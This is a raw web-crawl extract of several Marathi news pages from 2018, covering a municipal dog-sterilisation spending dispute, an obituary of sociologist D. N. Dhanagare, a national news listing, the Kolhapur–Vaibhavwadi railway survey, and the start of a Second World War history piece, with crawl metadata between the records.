कुत्र्यांचा उपद्रव कायम राहिला. या कामाला मुदतवाढ मागितली गेली. संशय आल्याने स्थायी समितीच्या सदस्यांनी थोडे मागे वळून पाहिले. रोज सरासरी ७० कुत्र्यांवर शस्त्रक्रिया होतात का त्याचे रेकॉर्ड कुठंय आदी प्रश्‍नांची सरबत्ती नवीन सदस्यांनी केली. स्थायी समिती बैठकीत अर्धा तास त्यावर साधक-बाधक चर्चा झाली. निर्बीजीकरण किती झाले त्याची कोणतीही माहिती उपलब्ध नसल्याचे उघड झाले. अधिकाऱ्यांना समर्पक उत्तर देता आले नाही. पाणी कुठे मुरते ते लक्षात आले. आता चौकशी होते, दोषींवर कारवाई होते की, मांडवली होऊन प्रकरण मिटते ते पहायचे. खरे तर ही दुकानदारी थांबवायची वेळ आली आहे.\nदहा वर्षांत प्रश्‍न ‘जैसे थे’\nमहापालिकेच्या ‘सारथी’वर सर्वाधिक तक्रारी कोणत्या याचे उत्तर ‘भटक्‍या कुत्र्यांचा उपद्रव’ आहे. दहा वर्षांत भटकी कुत्री वाढतच गेली आणि निर्बीजीकरणाची दुकानदारीही कायम सुरू राहिली. करदात्यांचे तब्बल सव्वाचार कोटी पाण्यात गेले. या कामाच्या फायद्या-तोट्याचे गणित मांडले पाहिजे. आजही भटक्‍या कुत्र्यांनी चावा घेतल्याच्या तक्रारींचा ओघ कायम आहे. महिन्याला हजारावर नागरिक इलाज घेण्यासाठी महापालिकेच्या रुग्णालयात येतात. रात्रीच्या वेळी घरी जाणाऱ्या कष्टकऱ्यांना या भटक्‍या कुत्र्यांचा त्रास काय असतो ते रात्री फेरफटका मारून पाहिल्यावर समजेल. त्यांचा बंदोबस्त झाला पाहिजे, पण निर्बीजीकरण हे त्याचे उत्तर दिसत नाही. पूर्वीचे पाप झाकण्यासाठी पुन्हा पुन्हा मुदतवाढीचा निर्णय होणार असेल आणि तीच चूक आताचे सदस्यही करणार असतील, तर महापाप घडेल.\nदुष्काळातही शेतकरी आशावादी ; ज्वारीची पेरणी सुरू\nकरमाळा : करमाळा तालुक्‍यात पावसाने ओढ दिली आहे. खरिपाची पिके अक्षरशः करपून गेली. काहीही खरीप हाती लागले नाही. तरीही आशावाद जीवंत ठेवत शेतकऱ्यांनी...\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nउदयनराजेंबाबत शरद पवारांचा 'यॉर्कर' \nसातारा : उदयनराजेंच्या उमेदवारीला सातारा जिल्ह्यातील राष्ट्रवादीच्या आमदारांचा विरोध अशा बातम्या पसरत आहेत. तोपर्यंतच राष्ट्रवादी काँग्रेसचे...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nगोवा : आमदार गावकरांचा वन महामंडळ अध्यक्षाचा राजीनामा\nपणजी : राज्यातील भाजप सरकारला पाठिंबा दिलेले सांगेचे अपक्ष आमदार प्रसाद गावकर यांनी आज गोवा वन विकास महामंडळाच्या अध्यक्षपदाचा राजीनामा दिला...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00319.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.saamana.com/dr-d-n-dhanagare/", "date_download": "2018-09-25T16:37:00Z", "digest": "sha1:AGJMOQTSPK7Q5OX3F7S2DVSLV7WQULYJ", "length": 19149, "nlines": 256, "source_domain": "www.saamana.com", "title": "डॉ. द. ना. धनागरे | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानसमोर 253 धावांचे आव्हान\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nडॉ. द. ना. धनागरे\nज्येष्ठ समाजशास्त्रज्ञ आणि कोल्हापूर येथील शिवाजी विद्यापीठाचे माजी कुलगुरू डॉ. द. ना. धनागरे यांचे चिंचवडमधील एका खासगी रुग्णालयात निधन झाले. धनागरे यांचा जन्म व महाविद्यालयीन शिक्षण वाशीम येथे झाले. महाविद्यालयीन शिक्षणासाठी त्यांनी नागपूरची वाट धरली. अमेरिकेतील प्रतिष्ठत एमआयटी विद्यापीठातून त्यांनी समाजशास्त्रातील उच्चशिक्षणही घेतले. त्यानंतर आग्रा विद्यापीठात प्राध्यापक म्हणून ते रुजू झाले. पुढील काळात कानपूर येथील इंडियन इन्स्टिट्यूट ऑफ टेक्नॉलॉजीमध्ये प्राध्यापक म्हणून त्यांनी अनेक वर्षे अध्यापन केले. त्यानंतर पुणे विद्यापीठात ते रुजू झाले. पुढे त्यांची शिवाजी विद्यापीठाच्या कुलगुरूपदी निवड झाली. त्यांची ही कारकीर्द खूप गाजली. डॉ . धनागरे यांची विद्यापीठातील कारकीर्द अनेक कारणानी गाजली. विदर्भातील असल्याने त्यांच्यावर ‘संघीय’ असा शिक्का मारून रान उठविण्यात आले होते. ‘सुटा ’ या विद्यापीठ शिक्षक संघटनेनेही त्यांच्याविरुद्ध काहूर उठवले होते. विद्यापीठातील एका कॉपी प्रकरणात डॉ. धनागरे यांनी ठाम भूमिका घेतल्याने त्यांच्याविरुद्ध आंदोलन करण्यात आले होते, परंतु त्यांनी शेवटपर्यंत माघार घेतली नाही. विशेष म्हणजे कोल्हापुरातील डाव्या संघटना त्यांच्या पाठीशी ठामपणे उभ्या रहिल्या होत्या. भारतीय समाजविज्ञान संशोधन परिषदेचे (आयसीएसएसआर) सदस्य सचिव म्हणूनही त्यांनी काम पाहिले. इंडियन सोशिओलॉजिकल सोसायटीच्या जीवनगौरव पुरस्कारासह अन्य काही संस्थांचे जीवनगौरव पुरस्कारांनी त्यांना सन्मानित करण्यात आले होते. मुंबईतील एशियाटिक सोसायटीचे ते विश्वस्त होते. त्याचबरोबर ‘विदर्भवासी पुणे निवासी’ या संघटनेसह काही संस्थांमध्ये ते कार्यरत होते. सामाजिक चळवळी आणि त्यांचे समाजशास्त्र, विकासाचे समाजशास्त्र, शेतकी समाजशास्त्र, शिक्षण आणि समाज, विकास आणि पर्यावरण, ग्रामीण हिंदुस्थानातील आणि प्रादेशिक प्रश्न हे त्यांच्या विशेष अभ्यासाचे विषय होते. ‘अग्रेरियन मूव्हमेंट ऍण्ड गांधियन पॉलिटिक्स’, ‘पिजंट मूव्हमेंट इन इंडिया’, ‘रुरल ट्रान्स्फोर्मेशन इन इंडिया’ या संशोधन ग्रंथांबरोबरच ‘हिरवे अनुबंध’ हा त्यांचा लेखसंग्रह प्रकाशित झाला. गेल्या वर्षी ‘पॉप्युलिझम ऍण्ड पॉवर’ हा १९८० ते २०१४ या काळातील पश्चिम हिंदुस्थानातील शेतकऱ्यांच्या चळवळीचे विश्लेषण करणारा ग्रंथ प्रकाशित झाला.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलपुन्हा वंशभेदाचा बळी जाणार नाही, कन्सासच्या गव्हर्नरांचा शब्द\nपुढीलघनकचऱ्यांचे व्यवस्थापन आणि अपेक्षा\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nआजचा अग्रलेख : जमिनीपासून आकाशापर्यंत सगळी बोंबच\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00319.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/national/page/50", "date_download": "2018-09-25T17:14:59Z", "digest": "sha1:G4GJJAQWMFQI34FQPXBSZUSVHXG3PP4L", "length": 9556, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "राष्ट्रीय-आंतरराष्ट्रीय Archives - Page 50 of 1095 - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » राष्ट्रीय-आंतरराष्ट्रीय\nसमाजवादी सेक्युलर मोर्चा स्थापन\nशिवपाल यादवांचे अखिलेश यांना आव्हान वृत्तसंस्था/ लखनौ दीर्घकाळापासून समाजवादी पक्षात दुर्लक्षित राहिलेले पक्षाचे माजी प्रदेशाध्यक्ष शिवपाल यादव यांनी ‘समाजवादी सेक्युलर मोर्चा’ स्थापन केला आहे. समाजवादी पक्षात उपेक्षित असणाऱया कार्यकर्त्यांना मोर्चाशी जोडण्याचे काम करणार असल्याचे शिवपाल यांनी म्हटले आहे. सपचे माजी अध्यक्ष मुलायम सिंग यादव देखील नव्या पक्षाशी जोडले जाणार असल्याचा दावा शिवपाल यांनी केला. नेताजींना (मुलायम) आदर देण्यात येत ...Full Article\nतिघांना ताब्यात घेण्याचे सीबीआयचे प्रयत्न\nबेंगळुरातील न्यायालयात याचिका : दाभोलकर हत्ये प्रकरणी तपासाला गती प्रतिनिधी/ बेंगळूर पत्रकार गौरी लंकेश यांच्या हत्या प्रकरणातील मारेकऱयांना आपल्या ताब्यात द्यावे, अशी याचिका सीबीआय पथकाने दाखल केली आहे. अमोल ...Full Article\nविष पेरण्यासाठी सोशल मीडियाचा वापर करून नका : नरेंद्र मोदी\nऑनलाईन टीम / नवी दिल्ली : विष पेरण्यासाठी किंवा द्वेष पसरवण्यासाठी सोशल मीडियाचा वापर केला जाऊ नये असे आवाहन पंतप्रधान नरेंद्र मोदींनी केले आहे. एका चांगल्या समाजासाठी हे अत्यंत ...Full Article\nजम्मू-काश्मीरमध्ये दहशतवादी हल्ला , चार पोलीस शहीद\nऑनलाईन टीम / श्रीनगर : शोपियाँ जिलह्यातील दहशतवाद्यांनी पोलिसांवर हल्ला केला. या हल्ल्यात 4 पोलीस शहीद झाले आहेत. मिळालेल्या माहितीनुसार, दहशतवाद्यांनी बुधवारी शोपियाँ जिलह्यातील अरहामा येथे दहशतवाद्यांनी पोलिसांच्या पथकावर ...Full Article\n16 मिनिटांत 3 भारतीय अंतराळात पोहोचणार\nगगनयान मोहीम : केंद्राकडून 10 हजार कोटींचा निधी वृत्तसंस्था/ नवी दिल्ली 3 भारतीयांना अंतराळात पाठविण्याच्या मोहिमेकरता सरकार तसेच इस्रोने वेगवान हालचाली चालविल्या आहेत. 2022 मध्ये भारत केवळ 16 ...Full Article\nइस्रोने केली घोषणा : प्रक्षेपक बदलला जाणार, मार्च 2019 पर्यंत 19 अंतराळमोहिमा वृत्तसंस्था/ श्रीहरिकोटा भारताच्या महत्त्वाकांक्षी चांद्रयान-2 मोहिमेच्या तारखेची अखेर घोषणा झाली आहे. चांद्रयान-2 मोहीम जानेवारी महिन्यात पार पडणार ...Full Article\n…तर सनातनवर बंदीचा विचार\nउपमुख्यमंत्री डॉ. जी. परमेश्वर यांची प्रतिक्रिया प्रतिनिधी\\ बेंगळूर पत्रकार गौरी लंकेश यांच्या हत्या प्रकरणात सनातन संस्थेचा सहभाग असल्याविषयी अद्याप माहिती मिळालेली नाही. एखाद्यावेळेस सहभाग असल्याचे सिद्ध झाल्यास या संस्थेवर ...Full Article\nराज्यात हिंसेचे राजकारण : ममता बनर्जींचा आरोप\nकोलकाता : पश्चिम बंगालच्या मुख्यंमत्री आणि तृणमूल काँग्रेसच्या अध्यक्षा ममता बॅनर्जी यांनी भाजपवर एका कार्यक्रमात बोलताना अनेक आरोप केले आहेत. राज्यात हिंसेचे राजकारण करणे, विरोधी पक्षांविरोधी केंद्रीय संघटनांचा वापर ...Full Article\nसप नेते आझम खान यांचे दाऊदशी संबंध : अमर सिंग\nलखनौ राज्यसभा खासदार अमर सिंग आणि समाजवादी पक्षाचे नेते आझम खान यांच्यातील वाप्युद्ध सुरूच आहे. लखनौमध्ये एका पत्रकार परिषदेवेळी अमर सिंग यांनी आझम खान यांच्यावर आगपाखड केली. आझम हे ...Full Article\nराम मंदिराचा भाजपला पडला विसर : प्रवीण तोगडिया\nबहराइच आंतरराष्ट्रीय हिंदू परिषदेचे नेते प्रवीण तोगडिया यांनी केंद्र सरकारला लक्ष्य करत 4 वर्षांमध्ये सरकारने राम मंदिराच्या मुद्यावर चर्चा देखील केली नसल्याचे म्हटले आहे. भाजपला कोटय़वधी हिंदूंनी मतदान केले, ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00319.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.esakal.com/paschim-maharashtra/kolhapur-news-railway-53634", "date_download": "2018-09-25T17:45:21Z", "digest": "sha1:A2PURXDWNWCT6YRAP2XTHYATHHTBUFHO", "length": 20465, "nlines": 184, "source_domain": "www.esakal.com", "title": "kolhapur news railway अंतिम सर्वेक्षणानंतरच ठरणार रेल्वेमार्ग | eSakal", "raw_content": "\nअंतिम सर्वेक्षणानंतरच ठरणार रेल्वेमार्ग\nसोमवार, 19 जून 2017\nकोल्हापूर-वैभववाडी रेल्वे मार्गाचे भूमिपूजन नुकतेच झाले. भूमिपूजन झाले असले तरी अद्याप रेल्वेमार्ग निश्‍चित केलेला नाही. कोल्हापूर वैभववाडीला कोणत्या मार्गाने जोडायचे याचे अंतिम सर्वेक्षण होणार आहे. अंतिम सर्वेक्षणानंतरच हा मार्ग निश्‍चित होईल. त्यानंतर जमीन संपादन व इतर प्रक्रिया सुरू होईल. ही रेल्वे पाच वर्षांत धावण्याचे नियोजन असले तरी जमीन संपादनावेळी येणारे अडथळे पाहता हा कालावधी वाढण्याची शक्‍यता आहे. 1930 ते 40 दरम्यान कोल्हापूर कोकणशी जोडण्याचा प्रस्ताव तयार केला होता.\nकोल्हापूर-वैभववाडी रेल्वे मार्गाचे भूमिपूजन नुकतेच झाले. भूमिपूजन झाले असले तरी अद्याप रेल्वेमार्ग निश्‍चित केलेला नाही. कोल्हापूर वैभववाडीला कोणत्या मार्गाने जोडायचे याचे अंतिम सर्वेक्षण होणार आहे. अंतिम सर्वेक्षणानंतरच हा मार्ग निश्‍चित होईल. त्यानंतर जमीन संपादन व इतर प्रक्रिया सुरू होईल. ही रेल्वे पाच वर्षांत धावण्याचे नियोजन असले तरी जमीन संपादनावेळी येणारे अडथळे पाहता हा कालावधी वाढण्याची शक्‍यता आहे. 1930 ते 40 दरम्यान कोल्हापूर कोकणशी जोडण्याचा प्रस्ताव तयार केला होता. कोल्हापूर कोकणशी रेल्वेने जोडल्यास व्यापार वृद्धीसाठी फायदेशीर ठरणार हे गृहीत धरून नियोजन सुरू केले होते; परंतु काही कारणाने या प्रस्तावाची अंमलबजावणी होऊ शकली नाही. आता भूमिपूजन तर झाले आहे, प्रत्यक्ष रेल्वे धावण्यासाठी लांबचा टप्पा गाठावा लागणार आहे.\nपहिला प्रयत्न 90 वर्षांपूर्वी\nकोल्हापूर कोकणशी रेल्वेमार्गाने जोडण्याचा विचार 90 वर्षांपूर्वी झाला होता. 1930 ते 1940 च्या दरम्यान याबाबत विचार पुढे आल्यानंतर त्यानुसार मार्गाची पाहणीही केली होती. रेल्वेमार्गही निश्‍चित झाला होता; परंतु काही कारणांमुळे त्यावेळी त्याची अंमलबजावणी होऊ शकली नाही.\nकोकणला रेल्वे मार्गाने जोडण्यासाठी आत्तापर्यंत 5 वेळा सर्वेक्षण झाले आहे. प्रारंभी कोल्हापूर-वैभववाडी-रत्नागिरी मार्गाचे सर्वेक्षण झाले. त्यावेळी हा मार्ग 205 किलोमीटरचा होता. त्यानंतर कोल्हापूर वैभववाडीला जोडण्यासाठीचा विचार पुढे आला आणि त्यानुसार कार्यवाही सुरू झाली. या मार्गामुळे रेल्वेचा खर्च 50 टक्के कमी होणार होता. त्यामुळे या मार्गाचे पाच वेळा सर्वेक्षण करण्यात आले.\nजमीन संपादन कळीचा मुद्दा\nअंतिम सर्वेक्षणानंतर रेल्वेमार्ग कोठून जाणार हे नक्की होईल. त्यानंतर जमीन संपादन करणे मुद्दा महत्त्वाचा असेल. जमीन संपादन राज्य शासनाने करून द्यायचे आहे. त्यासाठी रेल्वेने महाराष्ट्र डेव्हलपमेंट कार्पोरेशनची स्थापना केली आहे. यामार्फत जमीन संपादन प्रक्रिया राबविली जाईल; परंतु जमिनीचा प्रश्‍न आल्यानंतर त्यामध्ये लोकप्रतिनिधींपासून सगळ्यांची मते जाणून घेतली जातील. रेल्वेमार्गासाठी साधारणपणे 30 मीटर जमीन लागते. रेल्वेमार्गाच्या दोन्ही बाजूस प्रत्येकी 10 मीटर जमीन सोडावी लागते. त्यामुळे कोणाची जमीन देणार, कशी घेणार यावर सर्व अवलंबून आहे.\nसर्वेक्षण, जमीन संपादन आणि इतर प्रश्‍न पाहिल्यास कोल्हापूर-वैभवाडी रेल्वे प्रत्यक्ष धावण्यासाठी किमान 8 ते 10 वर्षे लागण्याची शक्‍यता आहे. पाच वर्षांत हा प्रकल्प पूर्ण करण्याचा नियम असला तरी प्रत्यक्षात हा कालावधी वाढणार आहे.\nकोल्हापूर-वैभवाडी रेल्वेमार्गाचे अंतिम सर्वेक्षण आता होईल, त्यानंतर नेमका मार्ग निश्‍चित होईल. त्यासाठी चार ते पाच महिन्यांचा कालावधी लागेल. त्यानंतरच जमीन संपादनाची प्रक्रिया सुरू होईल. राज्य शासनाने पुढाकार घेऊन जमीन संपादन करून द्यायचे आहे. त्यामुळे साहजिकच हा प्रकल्प लवकरात लवकर सुरू होण्यासाठी राज्य शासनाची जबाबदारी अत्यंत महत्त्वाची आहे.\n- हर्षा शहा, अध्यक्ष, रेल्वे प्रवासी संघटना, पुणे\nकोल्हापूर कोकणला जोडणारा हा प्रकल्प लवकरात लवकर पूर्ण होण्यासाठी आमचा प्रयत्न असणार आहे. खासदार धनंजय महाडिक यांच्यामार्फत त्याचा आढावा घेऊन पाठपुरावा केला जाईल. रेल्वेमार्गाचे सर्वेक्षण, जमीन संपादन यासाठीही पाठपुरावा करू.\n- समीर शेठ, सदस्य, रेल्वे प्रवासी संघटना कोल्हापूर\nवैभववाडी स्थानक ते सोनाळी - कुसूर - उंबर्डे - मांगवली - उपळे - मौदै - सैतवडे - उतलवाडी - खोकुर्ले - कळे - कोपार्डे - भुये - कसबा बावडा - रेल्वे गुडस्‌ मार्केट यार्ड असा रेल्वेमार्ग सुचवला होता. मुंबई येथील जे. पी. इंजिनिअरिंगने हे सर्वेक्षण केले होते. गुगल मॅप व आधुनिक मशीनच्या साह्याने सर्वेक्षण करण्यात आले. या रेल्वेमार्गात वनखात्याची जमीन येत नाही. या सर्वेक्षणानुसार हा मार्ग अंदाजे 100 किलोमीटरचा आहे. मार्गात चार ते पाच बोगदे असतील. याशिवाय मार्गावर पाचहून अधिक स्थानके असतील. तसेच तीन ते चार मोठे पूलही बांधावे लागणार आहेत. तालुक्‍यात एक स्थानकही असण्याची शक्‍यता आहे.\nअद्याप अंतिम मार्ग अनिश्‍चित\nसर्वेक्षण झाले, निधी मंजूर झाला आणि आता या रेल्वे मार्गाचे भूमिपूजनही झाले असले तरी रेल्वे कोणत्या मार्गाने धावणार हे आता अंतिम सर्वेक्षण झाल्यानंतरच निश्‍चित होईल. सध्या केवळ कोल्हापूर - मार्केट यार्ड - वळीवडे - शिवाजी विद्यापीठ मार्गे गारगोटी रस्ता रोड मार्गे जोडला जाण्याची शक्‍यता वर्तविली जात आहे; परंतु नेमक्‍या कोणत्या मार्गाने रेल्वे धावणार हे अंतिम सर्वेक्षणानंतरच स्पष्ट होईल. अंतिम सर्वेक्षण थोड्या दिवसांत सुरू होईल व दिवाळीनंतर किंवा डिसेंबर महिन्यात ते पूर्ण होईल. या अंतिम सर्वेक्षणानंतरच मार्ग निश्‍चित होईल. यामध्ये नदी, नाले, रस्ते, बोगदे किती, खासगी, सरकारी जमीन किती अशी सगळी सविस्तर माहिती असेल.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\n...अन् आजीबाई थोडक्यात बचावल्या\nमनमाड : दैव बलवत्तर म्हणून समोरून धडधडत येणारा काळ अगदी जवळून निघून गेला आणि आजीबाईच्या जीवात जीव आला. मनमाड रेल्वे स्थानकावर रेल्वे...\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00320.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%B5%E0%A4%BF%E0%A4%B5%E0%A4%BF%E0%A4%A7%E0%A4%BE-%E0%A4%A6%E0%A5%81%E0%A4%B8%E0%A4%B1%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%AE%E0%A4%B9%E0%A4%BE%E0%A4%AF%E0%A5%81%E0%A4%A6%E0%A5%8D%E0%A4%A7/", "date_download": "2018-09-25T17:50:30Z", "digest": "sha1:ZOFWR3KL5J7DCGTBMOBO5SYV3WJJZFBL", "length": 10891, "nlines": 140, "source_domain": "www.dainikprabhat.com", "title": "#विविधा: दुसऱ्या महायुद्धाची ठिणगी | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\n#विविधा: दुसऱ्या महायुद्धाची ठिणगी\n1 सप्टेंबर 1939 रोजी पोलंडवर जर्मनीने हल्ला केला व दुसऱ्या महायुद्धास तोंड फुटले. जर्मनीने रशियाबरोबर मैत्री करार करून पूर्व सीमा शांत ठेवण्याचे राजकारण केले, तसेच इटलीच्या बेनेटो मुसोलिनीस हाताशी धरून दक्षिण बाजू भक्‍कम केली व युरोपमध्ये घुसखोरी सुरू केली. त्याआधी (1937) जपानने चीनवर आक्रमण करून आपली साम्राज्य लालसा वाढीला लावली होती व आग्नेय आशियात मुसंडी मारण्यास सुरुवात केली. सोविएत संघाने 17 सप्टेंबर रोजी पूर्वेकडून पोलंडवर चाल केली.\nहिटलरची युरोप जिंकण्याची कल्पना येताच 3 सप्टेंबर रोजी प्रत्युत्तर म्हणून ब्रिटन व फ्रान्सने 